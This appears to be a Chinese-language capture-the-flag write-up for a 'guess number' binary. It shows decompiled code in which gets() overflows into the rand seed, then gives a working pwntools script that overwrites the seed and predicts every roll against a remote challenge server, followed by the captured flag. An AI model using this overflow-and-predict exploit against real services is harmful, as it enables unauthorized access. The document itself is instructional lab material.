```
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("------------------------------");
  puts("Welcome to a guess number game!");
  puts("------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}
00000C66|main:20 (C66)| |
```

```
IDA View-A    Pseudocode-A    Hex View-1
__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}
```

可以看到我们循环输入十个数字与循环的随机数相等才可以输出 flag 这个随机数并不是真的随机数 我们输入 char 覆盖 sreed 也就是随机数的种子 最好可以输入 0 或者 1 这样它随机数不变

```
-0000000000000030 var_30          db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010 seed            dd 2 dup(?)
```

覆盖 seed

查看 libc ldd + 文件

```
#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *

io = remote('111.200.241.244',60531)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)
for i in range(10):
        num = str(libc.rand()%6+1)
        io.recvuntil('number:')
        io.sendline(num)
io.interactive()
```

```
~$ vim 6.py
~$ python3 6.py
[+] Opening connection to 111.200.241.244 on port 60531: Done
[*] Switching to interactive mode
--------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{b93533058c4c03f4a549a6c1c497b8d4}
[*] Got EOF while reading in interactive
$ cat flag
$ ls
$ [11]  + 2310 suspended (signal)  python3 6.py
~$ vim 6.py
~$ python3 6.py
[+] Opening connection to 111.200.241.244 on port 60531: Done
[*] Switching to interactive mode
```

~